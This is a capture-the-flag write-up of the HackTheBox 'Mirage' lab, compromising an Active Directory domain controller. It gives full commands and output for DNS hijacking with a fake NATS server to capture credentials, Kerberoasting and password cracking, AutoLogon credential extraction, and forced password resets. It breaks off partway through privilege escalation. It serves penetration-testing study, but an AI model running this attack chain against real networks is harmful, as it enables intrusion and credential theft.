Mirage – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
![]()
Synopsis Link to heading
“Mirage” is a Hard machine from HackTheBox platform focused on Active Directory (AD) exploitation. In this box we will focus on Network Application Transfer Standard (NATS) explotation to obtain credentials for a domain, lateral movement on an AD environment, enable locked accounts and abuse Active directory Certificate Services blindly.
User Link to heading
We start with a quick Nmap scan looking for open TCP ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.221.181
We find multiple ports open. Among them we get: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 2049 Network File System (NFS), 4222 an unknown service for the moment, 5985 WinRM; among others:
❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001,49664,49665,49666,49667,49669,51454,52697,54595,54596,54612,56192,56212,61070 10.129.221.181
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 18:20 -04
Nmap scan report for 10.129.221.181
Host is up (0.45s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-21 05:20:49Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":462,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
| date: 2025-07-21T05:21:54
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 392.53 seconds
From the output we can see Kerberos, Microsoft RPC, LDAP and SMB services which indicates we might be against an Active Directory (AD) domain.
We can also get information about the domain with NetExec against SMB service:
❯ nxc smb 10.129.221.181
SMB 10.129.221.181 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
We can see a machine name dc01 and a domain mirage.htb. Since dc01 could mean Domain Controller, this could be the Domain Controller of the AD domain.
We can also see from the last output NTLM: False, which could indicate that the domain has NTLM authentication disabled and it only accepts Kerberos for authentication.
Add the machine name (dc01), FQDN (dc01.mirage.htb) and domain (mirage.htb), along with the target IP address, to our /etc/host machine in our attacker machine:
❯ echo '10.129.221.181 dc01 dc01.mirage.htb mirage.htb' | sudo tee -a /etc/hosts
Additionally, we saw port 4222 open. Looking if this port is the default port for a service we get:
4222 is commonly associated with the Network Application Transfer Standard (NATS) messaging system. It is the default port used for client connections to a NATS server. Additionally, port 4222 can be used for real-time task pushes to assets in some systems.NATS is the acronym for Network Application Transfer Standard:
NATS or Network Application Transfer Standard, is a high-performance, open-source messaging system designed for cloud-native applications, IoT messaging, and microservices architectures.We might come to this service later.
Since NFS service was exposed, we can check if there are some accessible resources. We can see if we have any using showmount command:
❯ showmount -e dc01.mirage.htb
Export list for dc01.mirage.htb:
/MirageReports (everyone)
We have a shared directory called /MirageReports. Since it has (everyone) flag, it means that any client (i.e., any IP address) is allowed to mount this shared directory.
Create a directory where we will mount the shared directory (which in my case I will call MiracleReportsExport):
❯ mkdir MirageReportsExport
And then use mount command to mount the shared directory:
❯ sudo mount -t nfs dc01.mirage.htb:/MirageReports ./MirageReportsExport -o nolock
This should have mounted the shared directory.
We can check the content of the shared directory MirageReports:
❯ cd MirageReportsExport
❯ ls -la
total 17493
drwxrwxrwx+ 2 nobody nogroup 64 May 26 17:41 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Jul 20 18:54 ..
-rwx------+ 1 nobody nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf
We can see 2 PDF files.
To access these PDF file we can copy them from the shared directory to our attacker machine:
❯ sudo cp Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf ..
and change the permissions of these files to allow us to read it:
❯ cd ..
❯ sudo chmod 777 Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
Before we forget, unmount the shared directory:
❯ sudo umount ./MirageReportsExport
Opening Incident_Report_Missing_DNS_Record_nats-svc.pdf file shows an issue where the development team was not able to resolve to the domain nats-svc.mirage.htb:

The problem is basically that some services are attempting to connect to nats-svc.mirage.htb domain; but the system does not know where to resolve to this DNS and fails/return errors.
They also provides some evidence about it:

Finally, in the same report they provide some Security Considerations:

Security Consideration:
In development environments, fixed service names such as nats-svc.mirage.htb
are often hardcoded in applications. If the DNS record is missing, some apps
may still attempt to connect to that name. This behavior could be abused by
attackers if DNS records are hijacked.
The Security Team should monitor such cases closely to ensure no
unauthorized DNS responses are injected or spoofed in the network.
It clearly tells a hint about what we could attempt: hijack a DNS record so it resolves to our attacker machine. We have done something similar for this purpose at Ghost Machine.
On the other hand, the second file Mirage_Authentication_Hardening_Report.pdf shows what NetExec already has shown; NTLM authentication has been disabled and only Kerberos is accepted:

We can check the content at port 4222 (which we have seen that is running NATS) with cURL:
❯ curl http://dc01.mirage.htb:4222/
curl: (1) Received HTTP/0.9 when not allowed
We get an error that can be easily fixed with --http0.9 flag:
❯ curl -s --http0.9 http://dc01.mirage.htb:4222/
INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":559,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
-ERR 'Authorization Violation'
But we get access denied.
We can then try the following: i) Create a simple Python script that emulates a NATS service and ii) Modify DNS records so the system resolves to our attacker IP address.
First, create the Python script that emulates the NATS server:
#!/usr/bin/python3
import socket
HOST: str = '0.0.0.0'
PORT: int = 4222
def run_fake_nats_server()->None:
"""
Emulate a fake NATS server
"""
print(f"[*] Fake NATS Server listening on {HOST}:{PORT}")
# Create a socket that will handle the connection
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)
# Start listening for a connection
while True:
client, addr = s.accept()
try:
print(f"[+] Connection from {addr}")
# Send fake INFO (mandatory for handshake NATS)
client.sendall(b'INFO {"server_id":"fake","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print("[+] Request received:")
print(data.decode())
except Exception as e:
print(f"[-] Something happened:\n{e}")
# Ensure to close the connection
finally:
client.close()
if __name__ == "__main__":
run_fake_nats_server()
Second, in another terminal (not shutting down the fake NATS server/listener) modify DNS records with nsupdate:
❯ nsupdate
> server 10.129.221.181
> update add nats-svc.mirage.htb 3600 A 10.10.16.80
> send
where 10.129.221.181 is the victim machine and 10.10.16.80 is our attacker IP address.
After some seconds, we get a connection in our fake NATS server with Python:
❯ python3 fake_nats_server.py
[*] Fake NATS Server listening on 0.0.0.0:4222
[+] Connection from ('10.129.221.181', 50254)
[+] Request received:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}
We get a user Dev_Account_A and a password hx5h7F5554fP@1337!.
We can then attempt to access to NATS service. For this purposes, based on its official documentation, we can attempt to install it based on its official repository. In my case I will install the amd64.deb file:
❯ wget https://github.com/nats-io/natscli/releases/download/v0.2.4/nats-0.2.4-amd64.deb -q
and install it:
❯ sudo dpkg -i nats-0.2.4-amd64.deb
Once installed, we can attempt to access to NATS service with credentials obtained:
❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 sub '>' --raw
nil body
{"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ"},"ts":"2025-07-21T07:45:02.1485087Z"}
{"type":"io.nats.jetstream.advisory.v1.api_audit","id":"JY0m358Lqb1BG90redFVCz","timestamp":"2025-07-21T07:45:02.1485087Z","server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","client":{"start":"2025-07-21T00:45:02.1472004-07:00","host":"dead:beef::88","id":649,"acc":"dev","user":"Dev_Account_A","name":"NATS CLI Version 0.2.2","lang":"go","ver":"1.41.1","rtt":539400,"server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","kind":"Client","client_type":"nats"},"subject":"$JS.API.STREAM.INFO.auth_logs","response":"{\"type\":\"io.nats.jetstream.api.v1.stream_info_response\",\"total\":0,\"offset\":0,\"limit\":0,\"config\":{\"name\":\"auth_logs\",\"subjects\":[\"logs.auth\"],\"retention\":\"limits\",\"max_consumers\":-1,\"max_msgs\":100,\"max_bytes\":1048576,\"max_age\":0,\"max_msgs_per_subject\":-1,\"max_msg_size\":-1,\"discard\":\"new\",\"storage\":\"file\",\"num_replicas\":1,\"duplicate_window\":120000000000,\"compression\":\"none\",\"allow_direct\":true,\"mirror_direct\":false,\"sealed\":false,\"deny_delete\":true,\"deny_purge\":true,\"allow_rollup_hdrs\":false,\"consumer_limits\":{},\"allow_msg_ttl\":false,\"metadata\":{\"_nats.level\":\"1\",\"_nats.req.level\":\"0\",\"_nats.ver\":\"2.11.3\"}},\"created\":\"2025-05-05T07:18:19.6244845Z\",\"state\":{\"messages\":5,\"bytes\":570,\"first_seq\":1,\"first_ts\":\"2025-05-05T07:18:56.6788658Z\",\"last_seq\":5,\"last_ts\":\"2025-05-05T07:19:27.2106658Z\",\"num_subjects\":1,\"consumer_count\":0},\"cluster\":{\"leader\":\"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ\"},\"ts\":\"2025-07-21T07:45:02.1485087Z\"}"}
We can see an auth_logs stream.
Based on official NATS documentation and this blog, we could attempt to read streams running:
nats stream view <stream>
Therefore, we view auth_logs stream:
❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 stream view 'auth_logs'
[1] Subject: logs.auth Received: 2025-05-05 03:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[2] Subject: logs.auth Received: 2025-05-05 03:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[3] Subject: logs.auth Received: 2025-05-05 03:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[4] Subject: logs.auth Received: 2025-05-05 03:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[5] Subject: logs.auth Received: 2025-05-05 03:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
20:50:18 Reached apparent end of data
We get a user david.jjackson and a password pN8kQmn6b86!1234@.
We can check with Kerbrute if this user exists in the domain:
❯ echo 'david.jjackson' > david_jjackson_name.txt
❯ kerbrute userenum -d mirage.htb --dc 10.129.221.181 david_jjackson_name.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/20/25 - Ronnie Flathers @ropnop
2025/07/20 20:56:36 > Using KDC(s):
2025/07/20 20:56:36 > 10.129.221.181:88
2025/07/20 20:56:36 > [+] VALID USERNAME: david.jjackson@mirage.htb
2025/07/20 20:56:36 > Done! Tested 1 usernames (1 valid) in 0.267 seconds
Since only Kerberos authentication is enabled, we can attempt to get a Ticket Granting Ticket (TGT) in behalf of david.jjackson user with getTGT.py from Impacket suite:
❯ impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
We get the error KRB_AP_ERR_SKEW(Clock skew too great).
To avoid this error, we can use faketime along with ntpdate and pass the previous command:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in david.jjackson.ccache
Since we have valid credentials, we can check if we have any Kerberoasteable users with impacket-GetUserSPNs:
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs mirage.htb/david.jjackson -k -no-pass -dc-ip 10.129.221.181 -dc-host dc01.mirage.htb -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------ ------------ ------------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb 2025-06-23 17:18:18.584667 2025-07-04 16:01:43.511763
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$9171d33b10880028a18a02b092848571$6b579b17698d6e0e6d322f9560e444034d713031ca28f1ec0ea18079078d332487419a50e174a576ed242b6e7b505baae305bb370e98edc66a9fe76833e5edea3ae80c6ac10faa4f5cb64339a40c82720add663b31be8b52b3cd48cf0204a2868dcaa8a99ab6d8fe18580ea217d1d79d4577bc1bffd17298aeab1e54428c02be320222f35aa5d55cdf03baae739d2cbabacac56287c7cb0d4cb7ea2acf7ba98f9d8af0a66959c2a7b5ba90b88b096966cda064cb44425bf87123a9288cab9fc5493873691dd2d3789524157d08ce07f7fcaea14b46df888de4044d1c18c30188317c5345e7d9fd47acc3ef292e7fd9c8ebafef57758028a2fe75aaa5e29023fee25fd39bb53f8d0de33455bf483f8404da8c181a9f26567d3331a1cfd5d603815ccdd9bc04e267250c80135d480c3b603198a72c7fd95bd38b86a4e8ee4357f1965d482059dd2c31c3aef6040ad27d9144a30d7328376800a3c45327c67a6e7fc48aff5bd2fa9c9eaa52013f29216a2f87b688058eba8662e531a006f2cb282a0d20cbf1a0339f96f241f667d5b3ee56f7a59a6a6bbc88c62570bd411c07e600716f716dc3a48c1008376f5dcc3c1e4be531058e398d77eb9e0fffb6bdb9a27cae2ce87e43a4eca43dc96f0d8fc748e7f6cbdcf51cf8230cf6a7f41cc00eb7f9fec9239c2cd867b357ab0d7d664adf6b4ec090521af376c252135adc4d996b8c99227466960e7eac60cb20764bda91828005282065706c61888f015b9ef1c631c757d1a365075dbbb6acf0bc9a34af347f1cffe71d7a5a3b53a13f0c5d83f4b52fefc6b6a07ab2ab16f0c1f8bd38667c439b5d5023131666a274cc054875c6108d1b8a89dc61f574836e6f0f78a89d1c560c672293d5a5f6a558ca8981b4f9dea9d680d4127512524b422657efa753483dcbdcf67c36da64e1ce1a7e52e63ffbc46a933347e83aff443fce32a2a3cc9aa7cbaf4a1c4550e5b2039a380b5c64a8a75c1dd6e727a9ce0318ae886f47111028c2f0f7c7c1b641034b61c819fc85deba6fdbe5d3ab91dd9c0a7b7aea630013058538808a101d5c18479a7624857ac8c8413b45962373f9e279d4cc678ccfdc09242c97599f404f96d25aec4e23c041b0f1c0f03ef2239cf4e3a72e3ef5f29e1385c12690328d858db3bfe926e59fd09605c8f2dbc2d53cee085d2d1c6bd60081e3a46c96bc77300b67f5922c7f96ad5a2f954b620bef0e8bf9746b1aaa84dca6126bc4fe3ff7df07a42d724d0d7825bf2dc996c2df0318f50264a5c46a604729ac5e141afc4b2e5299d5deae8222718f5f1684bbcf609afe3c877c121cf8d979419ddf8593633822d701ac05ab1e7d9df2c4e824c6fc97d51b93f7170fb2b7c46522e806e7c865685771c376d9bfb74f144462bb9120570ae6f2b77dc765caa8b86bab10d65a68bd3faca1d5e1690900aa59879fe55b47130a03e9cfd4170afb698f9ee76bccb72d885f29ceb535ce4bd59df80a8446868cc2937ca3f30fc908238956d4b364b21b63d384dc1c3e64531067158223f8dc64c0ea8eee3dbbf583ae9c39ce8f5b04c5
We get a hash.
Save this hash into a file and then attempt a Brute Force Password Cracking with JohnTheRipper (john) along with rockyou.txt password dictionary:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt nathan_aadam_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3edc#EDC3 (?)
1g 0:00:00:08 DONE (2025-07-20 22:01) 0.1218g/s 1518Kp/s 1518Kc/s 1518KC/s 3hackfu..3eb45ac9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We can also attempt to map the domain using david.jjackson TGT and using bloodhound-ce-python (since I am using Bloodhound Community Edition, or CE):
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -c ALL -u david.jjackson -k -no-pass -d mirage.htb -ns 10.129.221.181 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: mirage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 01M 06S
INFO: Compressing output into 20250721043420_bloodhound.zip
We upload then the generated .zip file to Bloodhound, where we can see that nathan.aadam user is part of IT_Admins group; group that is already part of Remote Management Users. This means that we can access to the victim machine as nathan.aadams user through WinRM service. For this purpose, first request a TGT as nathan.aadams user:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in nathan.aadam.ccache
We can use NetExec to get a configuration file that will allow us to connect with evil-winrm (along with faketime and ntpdate to avoid clock issues):
❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc smb dc01.mirage.htb -k --use-kcache --generate-krb5-file /tmp/krb5.conf
SMB dc01.mirage.htb 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc01.mirage.htb 445 dc01 [+] MIRAGE.HTB\david.jjackson from ccache
Once we have generated the configuration file, copy it:
❯ cat /tmp/krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = MIRAGE.HTB
[realms]
MIRAGE.HTB = {
kdc = dc01.MIRAGE.HTB
admin_server = dc01.MIRAGE.HTB
default_domain = MIRAGE.HTB
}
[domain_realm]
.MIRAGE.HTB = MIRAGE.HTB
MIRAGE.HTB = MIRAGE.HTB
❯ sudo cp /tmp/krb5.conf /etc/krb5.conf
And use the generated TGT for nathan.aadams to access as this user using evil-winrm:
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
We can grab the user flag at nathan.aadam’s Desktop.
NT Authority/System - Administrator Link to heading
We can search for AutoLogon credentials in the victim machine and we get something:
*Evil-WinRM* PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-String 'LastUsedUsername|DefaultPassword'
LastUsedUsername REG_SZ mark.bbond
DefaultPassword REG_SZ 1day@atime
We get credentials for mark.bbond user.
Looking at Bloodhound we can see that mark.bbond user is part of IT_Support group, group that has ForceChangePassword over javier.mmarshall user. At the same time, javier.mmarshall has ReadGMSAPassword over Mirage-Service$ account. In summary, the path shown by Bloodhound is:

The plan is then:
- Since
mark.bbondis part ofIT_Supportgroup, we can changejavier.mmarshallpassword. - Once we have changed
javier.mmarshallpassword, we can abuseReadGMSAPasswordpermission to read themirage-service$’NTLMhash.
First, request a TGT as mark.bbond user:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/mark.bbond:'1day@atime' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in mark.bbond.ccache
And change the password for javier.mmarshall user as using mark.bbond’s TGT with bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!'
[+] Password changed successfully!
Where we have set its new password to GunZF0x123$!.
Attempt to get a TGT as javier.marshall user:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
We get KDC_ERR_CLIENT_REVOKED. Why?
If we check the account status for this account we can get that javier.mmarshall user has ACCOUNTDISABLE UAC as we can confirm with bloodyAD as well:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall | grep -a userAccountControl
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
or:
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb
This can also be found going to Bloodhound, searching for javier.mmarshall user and check its Enlabled flag:

Where we can see it is set to False (i.e., it is disabled).
Therefore, we can attempt to enable this account as using mark.bbond’s TGT:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl
❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb
Nevertheless, we still get an error when we attempt to get a TGT as javier.mmarshall user:
❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
In our session as nathan.aadam we can upload PowerView.ps1 and check properties for javier.marshall using Get-ADUser function:
*Evil-WinRM* PS C:\Users\nathan.aadam> upload PowerView.ps1
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Mirage/content/PowerView.ps1 to C:\Users\nathan.aadam\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nathan.aadam> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties *
AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
AccountNotDelegated : False
AllowReversiblePasswordEncryption : False
AuthenticationPolicy : {}
AuthenticationPolicySilo : {}
BadLogonCount : 1
badPasswordTime : 133975685805021939
badPwdCount : 1
CannotChangePassword : True
CanonicalName : mirage.htb/Disabled/Users/javier.mmarshall
Certificates : {}
City :
CN : javier.mmarshall
codePage : 0
<SNIP>
LockedOut : False
logonCount : 13
logonHours : {0, 0, 0, 0...}
LogonWorkstations :
Manager :
MemberOf : {CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb}
MNSLogonAccount : False
<SNIP>
Or more specifically, focusing on logonHours attribute:
*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties * | Select-Object -expand logonHours
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
As is explained here, an account can be “revoked” because it might be disabled (with the flag we previously removed), expired, locked out or limited by logon hours. This last is the case since we have logonHours set to 0 (we are not able to log in).
We can check if mark.bbond can write this property over javier.mmarshall user with bloodyAD:
❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail
